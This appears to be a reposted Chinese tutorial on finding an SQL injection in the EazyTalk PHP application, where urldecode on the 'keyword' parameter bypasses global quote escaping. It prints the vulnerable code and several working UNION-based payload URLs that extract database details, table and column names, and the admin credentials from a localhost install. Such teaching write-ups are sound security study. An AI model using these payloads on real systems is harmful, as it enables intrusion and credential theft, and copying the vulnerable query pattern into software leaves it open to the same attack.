当前位置:Gxlcms > 数据库问题 > 那些年我们一起挖掘SQL注入 - 2.全局防护Bypass之UrlDecode

那些年我们一起挖掘SQL注入 - 2.全局防护Bypass之UrlDecode

时间:2021-07-01 10:21:17 帮助过:28人阅读

 

2.使用Seay代码审计系统的全局搜索功能,搜索包含关键字为”urldecode”的文件,发现TopicAction.class.php包含一个对接收的参数keyword进行urldecode并且有sql查询的地方:
技术分享
3.我们跟进这个php文件,发现接收keyword就对其进行urldecode转码,然后立即带入查询,造成注入:

public function topic()
{
$keyword = $this->_get(‘keyword‘, ‘urldecode‘);//使用ThinkPHP框架自带的_get对接收的keyword参数进行urldecode(详见http://doc.thinkphp.cn/manual/get_system_var.html)
if ($keyword) {
$topic = D(‘Topic‘)->where("topicname=‘$keyword‘")->find();//ok,带入查询了
if ($topic) {
$isfollow = D(‘Mytopic‘)->isfollow($topic[‘id‘], $this->my[‘user_id‘]);
$topicusers = D(‘MytopicView‘)->where("topicid=‘$topic[id]‘")->order(‘id desc‘)->limit(9)->select();
$widget = M(‘Topicwidget‘)->where("topicid=‘$topic[id]‘")->order(‘`order` ASC‘)->select();
if ($widget) {
foreach ($widget as $val) {
$topicwidget[$val[‘widgettype‘]][] = $val;
}
}
$this->assign(‘topicwidget‘, $topicwidget);
} else {
$count = $isfollow = 0;
}

$this->assign(‘comefrom‘, ‘topic‘);
$this->assign(‘keyword‘, $keyword);
$this->assign(‘topic‘, $topic);
$this->assign(‘topicusers‘, $topicusers);
$this->assign(‘isfollow‘, $isfollow);
$this->assign(‘subname‘, ‘#‘ . $keyword . ‘#‘);
$this->display();
} else {
header("location:" . SITE_URL . ‘/?m=topic&a=index‘);
}
}

 

0x04 漏洞证明

1.我们构造获取数据库相关信息的POC:

http://localhost/eazytalk/?m=topic&a=topic&keyword=aaa%2527 and 1=2 union select 1,2,3,concat(database(),0x5c,user(),0x5c,version()),5 %23

成功获取到信息如下:
技术分享
查看下MySql日志,发现成功执行了sql语句:
技术分享
2.我们构造获取数据库eazytalk所有表的POC:

http://localhost/eazytalk/?m=topic&a=topic&keyword=aaa%2527 and 1=2 union select 1,2,3, (select GROUP_CONCAT(DISTINCT table_name) from information_schema.tables where table_schema=0x6561737974616C6B),5%23

成功获取所有表信息如下:
技术分享
4.构造获取表et_users所有字段信息的POC:

http://localhost/eazytalk/?m=topic&a=topic&keyword=aaa%2527 and 1=2 union select 1,2,3, (select GROUP_CONCAT(DISTINCT column_name) from information_schema.columns where table_name=0x65745F7573657273),5%23

成功获取表et_users所有字段信息如下:
技术分享
5.构造获取et_users表第一条账户的POC:

http://localhost/eazytalk/?m=topic&a=topic&keyword=aaa%2527 and 1=2 union select 1,2,3, (select GROUP_CONCAT(DISTINCT user_name,0x5f,password) from et_users limit 0,1),5%23

成功获取表admin的账户密码如下:
技术分享

那些年我们一起挖掘SQL注入 - 2.全局防护Bypass之UrlDecode

标签:目录   构造   put   att   单引号   密码   var   服务   接收   

人气教程排行